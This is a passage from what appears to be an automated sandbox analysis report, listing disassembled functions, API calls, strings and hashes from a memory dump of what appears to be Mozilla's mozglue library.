Opcode Fuzzy Hash: 96a6e31067e935f975e3f8095ccad84611af42214ad44a4340fb8c489647101e
Instruction Fuzzy Hash: 60326E706083818FD324CF24C584AAEBBE6AFC9318F54882DE5D987751DB34E94ACB56

Function 6C717E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C718280, 6C7183E1
schema, xrefs: 6C7181E3, 6C718311
name, xrefs: 6C717ECF, 6C718335
(pre-xul), xrefs: 6C717E88
vul, xrefs: 6C718207

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vul
API String ID: 3412268980-3241126627
Opcode ID: 60a3476df6d9a788e86c5030531945538053d436334939a206ec11a828ebfd14
Instruction ID: 23c6f5c17a8b8b1fc012caef48153d46b1f51c941f8ebcdafa3570bd7cedfaf4
Opcode Fuzzy Hash: 60a3476df6d9a788e86c5030531945538053d436334939a206ec11a828ebfd14
Instruction Fuzzy Hash: 84E17DB1A043448BC710CF68C94065BFBEAFBC9314F558A2DE899D7790DBB0ED098B95

Function 6C6FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C75E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD4F2
LeaveCriticalSection.KERNEL32(6C75E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD50B

Part of subcall function 6C6DCFE0: EnterCriticalSection.KERNEL32(6C75E784), ref: 6C6DCFF6
Part of subcall function 6C6DCFE0: LeaveCriticalSection.KERNEL32(6C75E784), ref: 6C6DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD52E
EnterCriticalSection.KERNEL32(6C75E7DC), ref: 6C6FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6FD6A6
LeaveCriticalSection.KERNEL32(6C75E7DC), ref: 6C6FD712
LeaveCriticalSection.KERNEL32(6C75E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C70D1C5), ref: 6C6FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6FD7EA

Strings

<jemalloc>, xrefs: 6C6FD827
: (malloc) Error initializing arena, xrefs: 6C6FD82C

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: f00fba8af845edefc4089530630d46169c9e6c786175f871fc5b525c679a908f
Instruction ID: 6619e43ec9b503a140f349e4cbd62abe764097f93a4663ff3ef8be6cd913745f
Opcode Fuzzy Hash: f00fba8af845edefc4089530630d46169c9e6c786175f871fc5b525c679a908f
Instruction Fuzzy Hash: 6F91D271A047058FD714CF28C59076AB7E2EB89318F54892EE56AC7B80DB34F846CB86

Function 6C734EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C734EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C734F2E
moz_xmalloc.MOZGLUE ref: 6C734F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C734F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7352E6
Sleep.KERNEL32(00000010), ref: 6C735481
free.MOZGLUE(?), ref: 6C735498

Strings

(, xrefs: 6C735250

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5893fe38f04d72a02ca2904ec4d725adce34ad98d398977faa1259d3c6662aa0
Instruction ID: 5ffedf29a16a697141256ee99105f1023a2220d1b9c19ec88b9c8c2f885df2ae
Opcode Fuzzy Hash: 5893fe38f04d72a02ca2904ec4d725adce34ad98d398977faa1259d3c6662aa0
Instruction Fuzzy Hash: 77F1D271A18B108FC716DF39C85062BB7F5AFD6284F45872EF88AA7651DB31D842CB81

Function 6C6F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C6F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C6FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6FA8B1, 6C6FA8D4, 6C6FA8EF

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: dd0510329efde8c8fb58f2a1123ae233a31ec54ecc3897fffa4a8c8a6d6ed52d
Instruction ID: cca839c8a1078d6c0601b41c5fdeef9a6b0f31a7b0f5d8a821990e1c5a321333
Opcode Fuzzy Hash: dd0510329efde8c8fb58f2a1123ae233a31ec54ecc3897fffa4a8c8a6d6ed52d
Instruction Fuzzy Hash: DF726A72A156118FD304CF28C540615FBE2BF89328F2AC76DE8799B792D775E842CB84

Function 6C722C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C722C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C722C61

Part of subcall function 6C6D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6D4E5A
Part of subcall function 6C6D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C722C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C722E2D

Part of subcall function 6C6E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6E81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C722E3B
(root), xrefs: 6C72354F
expected a Time entry, xrefs: 6C722E36

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 5c565fb77d4d94a1a00a9ca320b90b64b43d84ceec7403e63e60cf6695aeb151
Instruction ID: 7b23d0ea5e2b144d52e4840742627c4a86f866b77beb803b349025ae93eeb22a
Opcode Fuzzy Hash: 5c565fb77d4d94a1a00a9ca320b90b64b43d84ceec7403e63e60cf6695aeb151
Instruction Fuzzy Hash: 0C91E1B06083408FC724CF24C58969FB7E5AFC9368F50892DE59A8B750DB34D949CB56

Function 6C739E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C739F3D
__aulldiv.LIBCMT ref: 6C739F77
__aullrem.LIBCMT ref: 6C739F8C
__aulldiv.LIBCMT ref: 6C73A023

Strings

NaN, xrefs: 6C739EAB
-Infinity, xrefs: 6C739E60, 6C739E7B

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: e3ade900bcd0d80b635997e5c356a1e05b336bf25109614667736bae33d551a6
Instruction ID: 34ff7cc77c0f6820c1460f4be1708961f4ce3f80197dfa31c08ae735ec359f91
Opcode Fuzzy Hash: e3ade900bcd0d80b635997e5c356a1e05b336bf25109614667736bae33d551a6
Instruction Fuzzy Hash: 95C1DF31E043298BDF14CFE8C98179EB7B6FB88314F145529D409ABB82DB70AD49CB91

Function 6C6DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C6DDBDD
8, xrefs: 6C6DDC08
0, xrefs: 6C6DD852
-, xrefs: 6C6DD7DD
@, xrefs: 6C6DDAF6
0, xrefs: 6C6DDC7F
, xrefs: 6C6DDA88
9, xrefs: 6C6DDE7F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: a16f96fa82343dac09de6395935f9340af156514fc007f53dd29b202bbf816d1
Instruction ID: 9850bdc20af1b5d4b660e2258d4d1f3d76c5915d977ffdb99f2dbac3ecd621eb
Opcode Fuzzy Hash: a16f96fa82343dac09de6395935f9340af156514fc007f53dd29b202bbf816d1
Instruction Fuzzy Hash: E962CF7050C3458FD711EE29C49079ABBF2AF8635CF1A4A4DE4D44BA91C335B885CFAA

Function 6C74545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C748A4B

Strings

~qml, xrefs: 6C749269, 6C745703, 6C74921F, 6C745740, 6C749459, 6C7456C7, 6C74948F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qml
API String ID: 2221118986-1807757901
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 68228e57f0a1e0d2f9e392c28f3bb37220ce13b8d36b62f40d43e93c5891229f
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 33B10772E0021ACFDB14CF68CD807A9B7B6EF95314F1942B9C549DB786D730A989CB90

Function 6C74542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C7488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C74925C

Strings

~qml, xrefs: 6C749269, 6C745703, 6C74921F, 6C745740, 6C749459, 6C7456C7, 6C74948F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qml
API String ID: 2221118986-1807757901
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: bf85b171ef066aecda5c24a6efc9e8441eeb5d54971b4a887464cae51c0b5013
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 34B1E572E4010ACFDB14CF58CD806ADB7B6EF94314F198279C959DB785D730A989CB90

Function 6C6DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6DC1CB
__aulldiv.LIBCMT ref: 6C6DC24C
__aulldiv.LIBCMT ref: 6C6DC348
__aullrem.LIBCMT ref: 6C6DC365
__aulldiv.LIBCMT ref: 6C6DC37D

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 8f8a084c28134207996bef4b4134db49c38aeaaa16d7d569be5ee4658184cd97
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: DA322732B046159FC718DE2CC890A56BBE6AFC9310F0A866DE895CB3D5D730ED05CB91

Function 6C716CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C716D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C716E1E

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 4ce55d108488a18c4252caeca20687e3360beb8a630d5a7ea973c6af5b16517b
Instruction ID: 2a39e0afe79c1d240b6668609920799abf3bac1756b8a140c74cbdceb904ca14
Opcode Fuzzy Hash: 4ce55d108488a18c4252caeca20687e3360beb8a630d5a7ea973c6af5b16517b
Instruction Fuzzy Hash: E0A17E746183808FC715CF24C5987AEFBE6FF89308F44492DE48A87B51DB70A949CB92

Function 6C6F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C6F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6F5585, 6C6F55A8, 6C6F55C3, 6C6F5624

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: bca98b77d33efc99eebecebdea8b14101e0d6069d199f5dea65eb163b5a0dee4
Instruction ID: 2eb585c619077f6bad9d03b463164ae998efeae52d43988678c222d59e4c7b73
Opcode Fuzzy Hash: bca98b77d33efc99eebecebdea8b14101e0d6069d199f5dea65eb163b5a0dee4
Instruction Fuzzy Hash: E9B27D71A096018FD309CF19C590625BBE3BFC5328B29C76DE4798BBA5D771E842CB84

Function 6C7385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C738C7C
__aulldiv.LIBCMT ref: 6C738DD7

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d0435687abe9d5371b5d5491f5b11e6937c35207964fcb2315bc86e4d9c95cec
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 6B327F71F011298BDF18CE9DC9A17AEB7B2FB88300F15912BD40AFB792D6349D418B91

Function 6C7476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qml, xrefs: 6C74793C, 6C747796, 6C747B0B, 6C747E0B, 6C7479FB, 6C7479C0

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID: ~qml
API String ID: 0-1807757901
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 4c8e26491e4f0885c11462efba1aa42be919210679396b4046bf76ba77a47c77
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: D1321971E006198FCB14CF99C990AADFBF6FF88308F648169C949A7745D731A986CF90

Function 6C746E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qml, xrefs: 6C747C72, 6C74793C, 6C747C03, 6C747B0B, 6C747E0B, 6C7479FB, 6C7479C0

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID: ~qml
API String ID: 0-1807757901
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: f93926d5f4afbbfe81430ab83b218cd257b6df28a2cdd747e6f221ffd6273429
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 7522E771E006198FCB14CF98C980AADF7F6FF88304F6585AAC949A7745D731A986CF90

Function 6C715C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C6E4A63,?,?), ref: 6C715F06

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c007d1361d268e38bf2621bf58f98eec23bc3bdaf425707ba35d62764503419c
Instruction ID: 4249320b30b0571f4f9d9c58d63979eeeff3890e110464244f11156d6f505ce3
Opcode Fuzzy Hash: c007d1361d268e38bf2621bf58f98eec23bc3bdaf425707ba35d62764503419c
Instruction Fuzzy Hash: B4C1B075D052098BCB08CF55D2906EEBBB2FF89318F28416DD8556BF45D732A806CB90

Function 6C700512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: ca160ae621797603bb3f2b2fd08775735fe6ca9f3800b269a484a8abcd4369a3
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 152217B1E046198FCB14CF98C990AADF7F2FF88318F5481A9D54AA7705D770A986CF80

Function 6C74AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 287b5e5972fb237865c715335f0c977511fde11b7962fd04b4047865307bbddc
Instruction ID: 1d6178ec1947a9cedac2163e8b97a3c28c4755734cb26d12e104c16d6d474e42
Opcode Fuzzy Hash: 287b5e5972fb237865c715335f0c977511fde11b7962fd04b4047865307bbddc
Instruction Fuzzy Hash: 23F147726087458FD700CE28C9817AEB7E6AFC5329F15CA3DE4D487791E374D8458B92

Function 6C6DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
